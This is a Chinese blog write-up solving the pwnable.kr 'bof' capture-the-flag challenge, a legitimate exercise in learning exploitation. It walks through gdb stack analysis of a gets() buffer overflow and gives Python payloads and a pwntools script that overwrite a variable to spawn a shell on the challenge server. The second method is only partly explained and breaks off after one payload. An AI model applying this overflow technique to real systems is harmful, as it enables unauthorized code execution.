pwnable.kr-bof
ssooking Lv5

题目

pawnable地址:http://pwnable.kr/play.php

题目名称:bof

1
2
3
4
5
6
7
Nana told me that buffer overflow is one of the most common software vulnerability. 
Is that true?

Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c

Running at : nc pwnable.kr 9000

解题过程

下载并查看题中给出的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}

简单分析下,看到有两个函数main和func。

main函数中调用了func函数,并传递给func函数的参数为0xdeadbeef

func函数接收一个名为key的整型变量作为参数,定义了一个长度为32字节的数组overflowme。然后打印一段话overflow me : ;接着获取输入内容,并保存到overflowme中。最后是一个if判断语句,如果key的值为0xcafebabe,则getshell,否则将打印Nah..\n

程序逻辑很简单,那么如果想getshell,正常情况是使key的值为0xcafebabe,但由于key的值在目标程序中不可控,因此只能利用缓冲区溢出的方式,利用缓冲区溢出的方式也有两种思路:

  • 思路一:覆盖key的值,使其等于0xcafebabe
  • 思路二:覆盖返回地址的值,直接跳转到system("/bin/sh")所在的内存地址,执行该指令。

下面使用gdb进行调试,建议使用必要的插件如peda、gef。

1
2
3
4
$ gdb ./bof
gef➤ b main
Breakpoint 1 at 0x68d
gef➤ run

使用gdb加载后,在main函数处下个断点,然后run启动程序。

思路一

第一种思路是覆盖key的值,使其等于0xcafebabe,因此我们需要找到做字符串比较时的内存位置,然后在这个地址处对key的值进行溢出覆盖。

反汇编func函数,找到key == 0xcafebabe比较指令的汇编代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  disassemble func 
Dump of assembler code for function func:
0x8000062c <+0>: push ebp
0x8000062d <+1>: mov ebp,esp
0x8000062f <+3>: sub esp,0x48
0x80000632 <+6>: mov eax,gs:0x14
0x80000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x8000063b <+15>: xor eax,eax
0x8000063d <+17>: mov DWORD PTR [esp],0x8000078c
0x80000644 <+24>: call 0xb7dc9ca0 <_IO_puts>
0x80000649 <+29>: lea eax,[ebp-0x2c]
0x8000064c <+32>: mov DWORD PTR [esp],eax
0x8000064f <+35>: call 0xb7dc93e0 <_IO_gets>
0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x8000065b <+47>: jne 0x8000066b <func+63>
0x8000065d <+49>: mov DWORD PTR [esp],0x8000079b
0x80000664 <+56>: call 0xb7da4da0 <__libc_system>
0x80000669 <+61>: jmp 0x80000677 <func+75>
0x8000066b <+63>: mov DWORD PTR [esp],0x800007a3
0x80000672 <+70>: call 0xb7dc9ca0 <_IO_puts>
0x80000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x8000067a <+78>: xor eax,DWORD PTR gs:0x14
0x80000681 <+85>: je 0x80000688 <func+92>
0x80000683 <+87>: call 0xb7e614c0 <__stack_chk_fail>
0x80000688 <+92>: leave
0x80000689 <+93>: ret
End of assembler dump.

这里看到了cmp比较指令:

1
0x80000654 <+40>:	cmp    DWORD PTR [ebp+0x8],0xcafebabe

这条指令的地址为0x80000654,于是我们在这里下断点。

1
2
gef➤  b *0x80000654
Breakpoint 4 at 0x80000654

然后继续执行(c)程序,此时进入交互模式,我们输入数据,比如AAAAAAAAAAAAAAAAAAAAAAAAA。输入后,会在刚才的断点停下。

ps:因为不是利用覆盖返回地址的思路,因此不必给一个很长的数来确定造成程序崩溃的缓冲区长度。

我们使用ni指令继续执行下一条指令,即执行完cmp比较指令,然后查看下esp寄存器的值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
gef➤  ni 
gef➤ disas func
Dump of assembler code for function func:
0x8000062c <+0>: push ebp
0x8000062d <+1>: mov ebp,esp
0x8000062f <+3>: sub esp,0x48
0x80000632 <+6>: mov eax,gs:0x14
0x80000638 <+12>: mov DWORD PTR [ebp-0xc],eax
0x8000063b <+15>: xor eax,eax
0x8000063d <+17>: mov DWORD PTR [esp],0x8000078c
0x80000644 <+24>: call 0xb7dc9ca0 <_IO_puts>
0x80000649 <+29>: lea eax,[ebp-0x2c]
0x8000064c <+32>: mov DWORD PTR [esp],eax
0x8000064f <+35>: call 0xb7dc93e0 <_IO_gets>
0x80000654 <+40>: cmp DWORD PTR [ebp+0x8],0xcafebabe
=> 0x8000065b <+47>: jne 0x8000066b <func+63>
0x8000065d <+49>: mov DWORD PTR [esp],0x8000079b
0x80000664 <+56>: call 0xb7da4da0 <__libc_system>
0x80000669 <+61>: jmp 0x80000677 <func+75>
0x8000066b <+63>: mov DWORD PTR [esp],0x800007a3
0x80000672 <+70>: call 0xb7dc9ca0 <_IO_puts>
0x80000677 <+75>: mov eax,DWORD PTR [ebp-0xc]
0x8000067a <+78>: xor eax,DWORD PTR gs:0x14
0x80000681 <+85>: je 0x80000688 <func+92>
0x80000683 <+87>: call 0xb7e614c0 <__stack_chk_fail>
0x80000688 <+92>: leave
0x80000689 <+93>: ret
End of assembler dump.
gef➤ x/30wx $esp
0xbfffed20: 0xbfffed3c 0xbfffedc4 0xb7fd44e8 0xb7fd445c
0xbfffed30: 0xffffffff 0xb7d66000 0xb7d76dc8 0x41414141
0xbfffed40: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed50: 0x41414141 0x00000041 0x80001ff4 0xa4256d00
0xbfffed60: 0xb7f1c000 0xb7f1c000 0xbfffed88 0x8000069f
0xbfffed70: 0xdeadbeef 0x80000250 0x800006b9 0x00000000
0xbfffed80: 0xb7f1c000 0xb7f1c000 0x00000000 0xb7d82637
0xbfffed90: 0x00000001 0xbfffee24
gef➤ x/wx $ebp
0xbfffed78: 0xbfffed98

进行对比操作时,key的值为0xdeadbeef,内存地址是0xbfffed80。到这里我们就可以计算出我们的输入位置与0xdeadbeef之间的偏移距离,即图中画绿框的部分。

202016103944

每个十六进制值代表4个字节,因此偏移的距离就是13*4=52个字节,因此我们需要输入52个字母A来进行填充占位,并继续填充把key的值覆盖成我们想要的值0xcafebabe

到这里就可以构造payload了,首先使用52个A进行填充,然后在最后位置填充0xcafebabe 。生成payload:

1
python -c "print 'A'*52 + '\xbe\xba\xfe\xca'" > ./payload

通过管道传输给nc,并连接pwnable.kr进行验证。

1
(cat payload && cat) | nc pwnable.kr 9000

20201611827

思路二

覆盖返回地址的值,直接跳转到system("/bin/sh")指令的内存地址,执行该指令。

首先确认能够造成缓冲区溢出,覆盖返回地址的最小数据长度。

与上面一样的操作,同样在gdb中调试,我们在0x80000654处下断点,继续运行程序,随便输入一些填充数据,这里我输入了25个A。输入ni继续执行,即执行完cmp指令,此时查看$esp的值。

1
2
3
4
5
6
7
8
gef➤  x/20wx $esp
0xbfffed40: 0xbfffed5c 0xbfffede4 0xb7fd44e8 0xb7fd445c
0xbfffed50: 0xffffffff 0xb7d66000 0xb7d76dc8 0x41414141
0xbfffed60: 0x41414141 0x41414141 0x41414141 0x41414141
0xbfffed70: 0x41414141 0x41414141 0x41414141 0x00414141
0xbfffed80: 0xb7f1c000 0xb7f1c000 0xbfffeda8 0x8000069f
gef➤ x/wx $ebp
0xbfffed88: 0xbfffeda8

可以看到此时ebp的地址在0xbfffed88处,我们输入的数据长度还不足以覆盖到返回地址。从input start位置到ebp的距离为

20201622453

1
python -c "print 'A' * 48 + '\x5d\x06\x00\x80'" > ./payload

pwntools漏洞利用

思路1

1
2
3
4
5
6
7
#!/usr/bin/python
from pwn import *

payload = 'A' * 52 + '\xbe\xba\xfe\xca'
shell = remote('pwnable.kr',9000)
shell.send(payload)
shell.interactive()

参考

  • Post title:pwnable.kr-bof
  • Post author:ssooking
  • Create time:2019-12-30 14:34:00
  • Post link:https://ssooking.github.io/2019/12/pwnable-kr-bof/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.